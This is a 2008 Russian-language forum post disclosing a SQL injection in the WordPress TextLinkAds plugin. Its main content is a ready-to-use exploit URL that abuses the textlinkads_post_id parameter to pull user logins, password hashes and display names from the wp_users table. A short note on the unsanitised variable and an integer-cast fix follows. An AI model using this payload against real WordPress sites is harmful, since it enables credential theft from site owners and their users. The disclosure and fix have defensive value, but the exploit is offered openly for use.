Показать сообщение отдельно

WP TextLinkAds Plugin SQL Injection Vulnerability
  #26  
Старый 17.01.2008, 17:24
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


По умолчанию WP TextLinkAds Plugin SQL Injection Vulnerability

Код:
http://wordpress-blog/?textlinkads_action=sync_posts&textlinkads_post_id=’/**/U/**/S/**/1,user_login,user_pass,display_name/**/from/**/wp_users%23
fix
PHP код:
The vulnerable code is found on line 512:
$postId $postId;
This variable is passed to $wpdb->get_results without being sanitised.
to fix this holesimply change the above line to:
$postId = (int) $postId
__________________
 
Ответить с цитированием